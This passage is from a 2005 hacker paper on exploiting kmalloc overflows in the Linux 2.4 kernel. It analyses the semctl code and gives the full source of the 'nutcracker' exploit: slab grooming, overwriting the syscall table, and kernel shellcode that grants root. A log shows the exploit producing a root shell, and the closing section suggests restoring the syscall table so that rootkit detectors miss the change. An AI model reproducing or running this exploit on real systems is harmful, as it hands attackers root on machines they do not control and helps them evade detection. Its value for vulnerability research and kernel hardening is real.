                tbuf.sem_nsems  = sma->sem_nsems;
                sem_unlock(semid);
                if (copy_semid_to_user (arg.buf, &tbuf,
                    version))
                        return -EFAULT;
                return 0;
        }
        /* GETVAL, GETPID, GETNCTN, GETZCNT, SETVAL:
          fall-through */
        }
        err = -EINVAL;
        if(semnum < 0 || semnum >= nsems)
                goto out_unlock;

[2]     curr = &sma->sem_base[semnum];

        switch (cmd) {
        case GETVAL:
[3]             err = curr->semval;
                goto out_unlock;
        case GETPID:
                err = curr->sempid & 0xffff;
                goto out_unlock;
        case GETNCNT:
                err = count_semncnt(sma,semnum);
                goto out_unlock;
        case GETZCNT:
                err = count_semzcnt(sma,semnum);
                goto out_unlock;
        case SETVAL:
        {
[4]             int val = arg.val;
                struct sem_undo *un;
                err = -ERANGE;
[5]             if (val > SEMVMX || val < 0)
                        goto out_unlock;

                for (un = sma->undo;un;un = un->id_next)
                        un->semadj[semnum] = 0;
[6]             curr->semval = val;
[7]             curr->sempid = current->pid;
                 sma->sem_ctime = CURRENT_TIME;
                /* maybe some queued-up processes were
                 waiting for this */
                update_queue(sma);
                err = 0;
                goto out_unlock;
        }
        }
out_unlock:
        sem_unlock(semid);
out_free:
        if(sem_io != fast_sem_io)
                ipc_free(sem_io, sizeof(ushort)*nsems);
        return err;
}
```

Here we see the sem_array structure which we have already overflowed above (otime, ctime, permissions etc.). Interesting for us here is the base member since it is a pointer to the first semaphore in the array. We can control this pointer and thus all following operations that depend on this pointer such as the GETVAL and SETVAL command to sys_semctl. In [1] we see that curr is defined as a pointer that gets initialized in [2] with the base pointer! In [3] we can see that the return value for GETVAL is the value at *base!
This allows reading an arbitrary 4byte value from kernelspace!

In [4] we see our argument given to the sys_semctl syscall arg(.val). [5] makes sure that the value is not bigger than 0x7fff and [6] finally gives us the oportunity to write values up to 0x00007fff into kernel memory! The code at [7] is not in all versions of the code and has been cut out in some. My version however has it so SETVAL would also write my current PID into memory at the next int pointer (which sucks).
Ok what can we do with that? Our goal is to get arbitrary code executed. The best idea I could come up with was hijacking another empty slot in the syscall table (sys_ni_call) since we can easily access that pointer from userspace without breaking other inportant function pointers to keep the system stable! In my version we need three empty syscall slots to store the PID and the 0x0000 part in a save place.

The usable part – 0x7ffff – is written in an unaligned write operation at the two most significant bytes of the pointer address. Our hijacked call then jumps for example to 0x4004????. Since we can mmap()/brk() to many addresses and have payload located there this is an easy hurdle to overcome. On newer kernels such as 2.6 two unused syscall slots call_n and call_n+1 will suffice. The location of the sys_call_table can be grep'd from the /boot/System.map
(if readable).

</arch/i386/kernel/entry.S>

```
//for 2.4.
.long SYMBOL_NAME(sys_ni_syscall)      /* 250 sys_alloc_hugepages */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_free_hugepages */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_exit_group */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_lookup_dcookie */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_epoll_create */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_epoll_ctl 255 */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_epoll_wait */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_remap_file_pages */
.long SYMBOL_NAME(sys_ni_syscall)      /* sys_set_tid_address */

//for 2.6
.long sys_utime        /* 30 */
.long sys_ni_syscall   /* old stty syscall holder */
.long sys_ni_syscall   /* old gtty syscall holder */
 .long sys_access
[...]
.long sys_getdents64   /* 220 */
.long sys_fcntl64
.long sys_ni_syscall   /* reserved for TUX */
.long sys_ni_syscall
.long sys_gettid
.long sys_readahead    /* 225 */
```

The final exploit now looks like that:

```
/*
 *  nutcracker.c
 *  """"""""""""""
 * Example exploit against a kmalloc() overflow.
 *  This exploit is part of the paper "The story of exploiting kmalloc
 * overflows  and servers as an POC to show that this type of bugs can lead
 * to root privileges!
 *
 *  The k_give_root[] code is kernel 2.4.20 specific. So expect errors on
 *   other kernel
 *  versions.
 *
 *  qobaiashi/UNF
 *
 *  Sat Sep 17 11:35:18 CEST 2005
 */

#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
```

```
#define HIJACALL  253


char k_give_root[] =
// kernel 2.4.20 specific.
// sry this is another story..
"\x31\xf6\xb8\x00\xe0\xff\xff\x21\xe0"
"\x8b\x80\x9c\x00\x00\x00\x89\xb0\x30"
"\x01\x00\x00\x89\xb0\x34\x01\x00\x00"
"\x89\xb0\x40\x01\x00\x00\x89\xb0\x44"
"\x01\x00\x00\x31\xc0\x40\xcd\x80";

/**************\
|* prototypes *|
\**************/

void usage(char *path);
int  get_file(char *path);
int  prepare(int total, int active, int arg, char* buffer);
int  get_semid();


/**************\
|*   globals  *|
\**************/

int fd;
union semun
 {
    int val;                    //      <= value for SETVAL
    struct semid_ds *buf;       //      <= buffer for IPC_STAT & IPC_SET
    unsigned short int *array;  //      <= array for GETALL & SETALL
    struct seminfo *__buf;      //      <= buffer for IPC_INFO
 };


/************\
|**  main  **|
\************/

int main(int argc, char *argv[])
{
char *ptr;
int arg, tmp, active, total, placehold, victim;
int *mod;
union semun seminfo;
char buffer[1024*4];//yo ugly!=>lseek
memset(buffer, 0x00, sizeof(buffer));

if (argc < 2)
   {
    usage(argv[0]);
    exit(1);
    }

arg = strtoul(argv[1], 0, 0);


if ((get_file("/proc/slabinfo")) == -1)
   {
    printf("couldn't open file...\n");
    exit(-1);
   }


if(read(fd, buffer, sizeof(buffer)) == -1)
  {
   printf("[!] could not read slabinfo!..leaving\n");
   exit(0);
  }

ptr = strstr(buffer, "size-128(DMA)") + 13;
ptr = strstr(ptr, "size-128");
ptr+=13;
active = strtoul(ptr, 0, 0);
ptr+=13;
total = strtoul(ptr, 0, 0);

//----------prepare--------------
prepare(total, active, arg, buffer);
//---update status--------------
close(fd);
if ((tmp = get_file("/proc/slabinfo")) == -1)
   {
    printf("couldn't open file...\n");
    exit(-1);
   }

if(tmp = read(fd, buffer, sizeof(buffer)) == -1)
  {
   printf("[!] could not read slabinfo!..leaving\n");
   exit(0);
  }
ptr = strstr(buffer, "size-128(DMA)") + 13;
ptr = strstr(ptr, "size-128");
ptr+=13;
active = strtoul(ptr, 0, 0);
ptr+=13;
total = strtoul(ptr, 0, 0);
//---------assume we get 2 good objects
printf("active %d total %d\n", active, total);
close(fd);
memset(buffer, 0x00, sizeof(buffer));
mod = (int*)buffer;

for(total = 0;total <= sizeof(buffer);total+=4)
   {
    if(total == 32*4)
       *mod = 0x0;
//uid, gid, cuid, cgid
    if(total == 33*4 || total == 35*4)
       *mod = getuid();
    if(total == 34*4 || total == 36*4)
       *mod = getgid();

//perms
    if(total == 37*4)
       *mod = 0x790;
//seq
    if(total == 38*4)
       *mod = 0x00A6;// quattro
//otime
    if(total == 39*4)
       *mod = 0x0;
//ctime
    if(total == 40*4)
       *mod = 1122334455;
//*base
    if(total == 164)
       *mod = 0xc02f32b0+(HIJACALL*4)+2;//sys_call_table+(253*4)+2 ;

    mod++;
    }

//syscall(35, arg, buffer);
//syscall(35, 2, buffer);

//hopefully get 2 contignuous objects:
placehold = semget(IPC_PRIVATE, 9, IPC_CREAT);
victim    = semget(IPC_PRIVATE, 9, IPC_CREAT);

//now replace the placeholder with the attacker:
if(semctl(placehold, 0, IPC_RMID) == -1)
   printf("could not kfree placeholder!\n");
syscall(35, 1, buffer);

active = get_semid();
if(mmap((void*)0x40044000,0x8000,PROT_READ|PROT_WRITE|
 PROT_EXEC,\
  MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, 0, 0x0) < 0)
  {
   printf("could not mmap\n");
   exit(-1);
  }
memset((void*)0x40044000, 0x41, 0x5000);
memcpy((void*)0x40044000+0x5000, k_give_root, sizeof(k_give_root));

seminfo.val = 0x4004;
tmp = semctl(active, 0, GETVAL, seminfo);
printf("call pointer before write %p\n", tmp);
if(semctl(active, 0, SETVAL, seminfo) != -1)
   printf("syscall hijacked!\n");

tmp = semctl(active, 0, GETVAL, seminfo);
printf("call pointer now %p...triggering code => check id\n", tmp);
syscall(253, 0, 0);
}



/********************\
|**  get the file  **|
\********************/
int get_file(char *path)
{
struct stat buf;

if ((fd=open(path, O_RDONLY)) == -1)
   {
    perror("open");
    return -1;
   }

if ((fstat(fd, &buf) < 0))
   {
    perror("fstat");
    return -1;
    }

return buf.st_size;
}



/*****************\
|**    usage    **|
\*****************/
void usage(char *path)
{
printf(" |----------------------------\n");
printf(" | usage: %s  \n", path);
printf(" |  1 overflow \n");
printf(" |  2 consume  \n");
printf(" |  3 consume+free\n");
exit(0);
}
```

```
/*****************\
|**  prepare    **|
\*****************/

int  prepare(int total, int active, int arg, char *buffer)
{
int cntr, limit = (total - active) - 4;//4 before resizing occurs
int checktotal = total;
char *ptr = NULL;

printf("consuming %d\n", limit);

if(limit)
  {
  for(cntr = 0;cntr <= limit;cntr++)
      semget(IPC_PRIVATE, 9, IPC_CREAT);
      //syscall(35, 2, buffer);
  }

}


/*****************\
|**  get_semid  **|
\*****************/
//bug: do not run the exploit twice since we
//       find the same sem. entry here again :>
int get_semid()
{
int tmp = 0, offset = 0;
char buffer[1024*4+1];
char *ptr = NULL;

if (get_file("/proc/sysvipc/sem") == -1)
   {
    printf("couldn't open file...\n");
    exit(-1);
   }

while(1)
{
memset(buffer, 0x0, sizeof(buffer));
if(tmp = read(fd, buffer, 4096) == -1)
   {
    printf("[!] could not read seminfo!..leaving\n");
    exit(0);
   }

ptr = strstr(buffer, "3620");
if (ptr != NULL) break;
}
ptr -= 10;
close(fd);
return strtoul(ptr, 0, 0);
}
```

And the exploit on a fresh rebooted system in action:

```
qobaiashi@cocoon:~> gcc -o nutcracker nutcracker.c
qobaiashi@cocoon:~> ./nutcracker 1
consuming 32
active 747 total 750
call pointer before write 0x89f0c012
syscall hijacked!
call pointer now 0x4004...triggering code => check id
qobaiashi@cocoon:~> id
uid=0(root) gid=0(root) Gruppen=100(users),14(uucp),16(dialout),17(audio),33(video)
qobaiashi@cocoon:~> exec sh
sh-2.05b#
```

5. Extra thoughts and hints

In real life one would add cosmetic changes to the ring0 code which fixes back the values to the sys_call_table to avoid detection by silly rootkit detectors. Also the many created semaphores can be removed.
Now I want to spend some words talking about conditions one might find in real life. Usually memory overflows in kernel space occur due to integer bugs so it might be the case that the length argument to copy_from_user is a negative signed int value which means a huge size_t value. With strncpy_from_user this does not cause problems since it stops on a NULL in userspace. But if (__)copy_from_user is called with for example 0x80000000 as len argument the kernel instantly crashes and a reboot is forced. I tried to circumvent this large copy problem using a mapping hole at the end of the userspace mapping (0xc0000000) and the mprotect trick used by noir on OpenBSD but nothing worked. A deeper look at it revealed that the process of copying data from userspace correctly stops at a (i386) PROT_NONE segment but the problem here lies in a "memset(to, 0, len);" right before copying so a lot of kernel memory is zero'd out which finally leads to machine reboot. I would appreciate hints on how to beat this (on i386)! In some situations however int overflows only lead to miscalculations in kmalloc calls so that it is possible to allocate an object in a smaller cache and thus overflow it with normal operation!

6. Conclusion

I have shown that controled overflows of kmalloc'ed memory can be reliably exploited. Our overflow here took place in a general cache, others might be in a special socket cache for example. However exploitation depends on your knowledge of kernel routines suitable for consuming objects and finally for raising privileges. I wish you as much fun as I had looking for them ;)
Now coming to an end I hope you enjoyed the paper!

Greetings go out to Phenoelit, THC and the rest of UNF.
Di Sep 20 11:08:25 CEST 2005
- qobaiashi@u-n-f.com -